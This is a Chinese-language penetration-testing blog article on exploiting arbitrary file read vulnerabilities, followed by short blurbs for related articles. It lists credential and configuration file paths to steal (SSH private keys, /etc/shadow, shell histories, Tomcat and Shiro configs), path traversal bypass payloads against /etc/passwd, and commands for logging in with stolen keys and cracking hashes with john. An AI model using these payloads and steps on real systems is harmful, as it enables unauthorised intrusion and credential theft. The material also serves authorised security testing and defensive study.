渗透必备!文件读取漏洞的后利用姿势

VSole2022-12-22 09:33:15

当我们遇到任意文件读取漏洞的时候,我们需要考虑如何通过这一个小点去扩大我们的成果,达到最大化利用的目的。

本篇文章主要介绍了一些在我们拿到任意文件读取点后的深入利用姿势,希望对大家能有所帮助。来源作者lxlxlx@深信服西部天威战队

常见读取的敏感文件路径

windows

C:\boot.ini //查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
C:\Windows\repair\sam //存储系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //Mysql配置信息
......

Linux

/root/.ssh/authorized_keys //如需登录到远程主机,需要到.ssh目录下,新建authorized_keys文件,并将id_rsa.pub内容复制进去
/root/.ssh/id_rsa //ssh私钥,ssh公钥是id_rsa.pub
/root/.ssh/id_ras.keystore //记录每个访问计算机用户的公钥
/root/.ssh/known_hosts
//ssh会把每个访问过计算机的公钥(public key)都记录在~/.ssh/known_hosts。当下次访问相同计算机时,OpenSSH会核对公钥。如果公钥不同,OpenSSH会发出警告, 避免你受到DNS Hijack之类的攻击。
/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/etc/my.cnf //mysql 配置文件
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/redhat-release 系统版本 
/root/.bash_history //用户历史命令记录文件
/root/.mysql_history //mysql历史命令记录文件
/var/lib/mlocate/mlocate.db //全文件路径
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts //记录系统挂载设备
/porc/config.gz //内核配置文件
/porc/self/cmdline //当前进程的cmdline参数
/proc/sched_debug 配置文件可以看到当前运行的进程并可以获得对应进程的pid
/proc/pid/cmdline   则可以看到对应pid进程的完整命令行。
/proc/net/fib_trie   内网IP
/proc/self/environ   环境变量
/proc/self/loginuid   当前用户
......

绕过思路

可以进行fuzz

url编码代替.或者/,如使用%2F代替/
?filename=..%2F..%2F..%2F..%2Fetc%2Fpasswd
二次编码(%25)
?filename=..%252F..%252F..%252F..%252Fetc%2Fpasswd
加入+
?filename=.+./.+./bin/redacted.dll
%00
?filename=.%00./file.php
/etc/passwd%00.jpg
\
?filename=..%5c..%5c/windows/win.ini
Java %c0%ae 安全模式绕过
?filename=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd

Linux下的常见利用姿势

用户目录下的敏感文件

.bash_history 
.zsh_history
.psql_history
.mysql_history
.profile 
.bashrc
.gitconfig
.viminfo
任意文件读取/etc/passwd
提取passwd第一列,即root等一系列用户名
读history:../../root/.bash_history
暴破所有用户的.bash_history:../../../home/§root§/.bash_history

历史命令重点关注出现的密码、路径、配置文件路径、其他关联IP、日志文件、war包、备份文件路径等等,可进一步读取或利用。

PS:如要下载文件,可能会导致过大文件下载失败,可以使用wget进行下载,比如catanlina.out日志文件、war包、备份文件等等。

主机凭证文件

私钥文件

/root/.ssh/id_rsa  私钥
/root/.ssh/authorized_keys  公钥存储文件
/root/.ssh/id_rsa.keystore
/root/.ssh/known_hosts //记录每个访问计算机用户的公钥

私钥文件如果没有设定密码保护,便可直接获取到进行登录到服务器,或使用xshell等软件选择证书登录。

ssh -i id_rsa root@IP地址

系统密码

  • /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
......
用户名:口令:用户标识号:组标识号:注释性描述:主目录:登录Shell

可以看到哪些用户可以登录

  • /etc/shadow
root:$1$v2wT9rQF$XSpGgoB93STC4EFSlgpjg1:14181:0:99999:7:::
$id$salt$密文

id代表的是使用不同的加密算法,不同的系统使用的算法也不尽相同。salt是加密的时候需要用到盐。最后就是密文。

注意:如果密码字符串为*,表示系统用户不能被登入,为!表示用户名被禁用,如果密码字符串为空,表示没有密码。

  • 在线查询
  • https://www.cmd5.com/
  • john破解
  • unshadow /etc/passwd /etc/shadow > test_passwd
  • john --wordlist=字典路径 test_passw
  • 默认密码字典位于/usr/share/john/password.ls

全路径

mlocate.db数据库里存储了本地所有文件的配置信息

/var/lib/mlocate/mlocate.db

利用locate命令将数据输出成文件,这里面包含了全部的文件路径信息

locate mlocate.db config把包含config的路径全输出出来

locate mlocate.db webapps

locate mlocate.db www

获取到路径后可以进一步挖掘敏感信息和系统漏洞

程序源代码

利用全路径或者其他地方获取到的路径读取一些关键的程序源码。

读取WEB-INF/web.xml,进一步读取class文件,反编译得到源码。

读取war包,反编译获取源码。

应用配置文件

获取到网站的相关配置信息,包括站点配置、数据库配置等等,也可进一步获取到源码。

  • java站点
  • /WEB-INF/web.xml
  • /WEB-INF/classes/applicationContext.xml
  • /WEB-INF/classes/xxx/xxx/xxx.class
  • core.jar如果遇到Shiro站点,可以直接利用全路径找到core.jar,去下载core.jar,下载后反编译搜索Base64.decode直接找key,进而getshell。
  • tomcat
  • /usr/local/tomcat/conf/tomcat-users.xml
  • nginx
  • /www/nginx/conf/nginx.conf
  • /etc/nginx/nginx.conf
  • /usr/local/nginx/conf/nginx.conf
  • /usr/local/etc/nginx/nginx.conf
  • apache
  • /etc/httpd/conf/httpd.conf
  • /etc/apache2/apache2.conf
  • /etc/apache2/httpd.conf
  • redis
  • /etc/redis.conf
  • ssh
  • /etc/ssh/sshd_config

应用日志文件

利用日志文件获取网站后台地址、api接口、备份、等等敏感信息。

  • tomcat
  • 可以先找到/tomcat/bin/catalina.sh,里边有log的配置路径
  • /webapps/ROOT/logs/catalina.out
  • apache
  • /var/log/apache2/access.log
  • /var/log/apache2/error.log
  • /var/log/httpd/access_log
  • /etc/httpd/logs/access_log
  • /etc/httpd/logs/error_log
  • /etc/httpd/logs/error.log
  • nginx
  • /var/log/nginx/access.log
  • /var/log/nginx/error.log
  • /usr/local/var/log/nginx/access.log
  • /usr/local/nginx/logs

Windows下的利用姿势

盲读取桌面文件

有些时候,管理员会图方便,在桌面存储一些敏感的文件,我们可以直接对桌面的一些文件名进行fuzz,比如1.txt、2.txt、密码.txt、pass.txt等等,进一步扩大战果。

总结

在漏洞利用层面,除了去关注一键RCE,我们不妨也可以试着去思考一下其他类型漏洞的最大化利用。

当一个微小的漏洞和神奇的思路碰撞在一起,往往也能产生意想不到的效果。记住,发散你的思维,让漏洞发挥出最大的价值!

漏洞挖掘log文件
本作品采用《CC 协议》,转载必须注明作者和本文链接
根据厂商的要求,在修补后的固件未发布前,我对该漏洞细节进行了保密。若读者将本文内容用作其他用途,由读者承担全部法律及连带责任,文章作者不承担任何法律及连带责任。此时,我们惊喜地发现xxx系列产品的xxx型号固件并没有被加密,可以成功解开。漏洞分析此部分以xxx固件为例进行分析,该固件是aarch64架构的。其他固件也许架构或部分字段的偏移不同,但均存在该漏洞。找到无鉴权的API接口显然,此类固件的cgi部分是用Lua所写的。
最近在学习Android APP客户端漏洞挖掘过程中,对Android APP端漏洞挖掘做了一个基本的梳理总结本节主要是在介绍Android APP漏洞挖掘过程中,使用常见的Android漏洞挖掘工具的安装和使用办法,帮助Android漏洞挖掘人员提供便利。本文里面一部分的介绍采摘与网络博客,大家可以点击对应的网址进行查看。
这里建议doc文档,图片可以贴的详细一些。爆破完好了,一样的6。想给它一个清晰完整的定义其实是非常困难的。
一、漏洞挖掘的前期–信息收集 虽然是前期,但是却是我认为最重要的一部分; 很多人挖洞的时候说不知道如何入手,其实挖洞就是信息收集+常规owasp top 10+逻辑漏洞(重要的可能就是思路猥琐一点),这些漏洞的测试方法本身不是特别复杂,一般混迹在安全圈子的人都能复现漏洞。接下来我就着重说一下我在信息收集方面的心得。
对于公益SRC来说,想要冲榜就不能在一个站上浪费大量时间,公益SRC对洞的质量要求不高,所以只要 花时间,还是可以上榜的。在对某站点进行测试SQL注入的时候,先通过一些方式测试是否可能存在漏洞,然后可以直接sqlmap一把梭,也可以手工测试,然后提交漏洞。任意注册算是低危漏洞,不过也有两分。不管是进行SRC漏洞挖掘,还是做项目进行渗透测试,又或者是打红蓝对抗,一定要做好信息收集。
跨站脚本英文全称(Cross Site Scripting跨站脚本),为了不和css层叠样式表(英文全称:Cascading Style Sheets)混淆,因此将跨站脚本缩写为XSS。本期我们讲解一下XSS漏洞原理和利用检测。
涉及系统命令调用和执行的函数在接收用户的参数输入时未做检查过滤,或者攻击者可以通过编码及其他替换手段绕过安全限制注入命令串,导致执行攻击指定的命令。
以下提及的漏洞都提交到 edusrc平台进行修复 webvpn 突破 受到 en0th师傅文章 启发,对学校 webvpn 进行了一次src漏洞挖掘测试
VSole
网络安全专家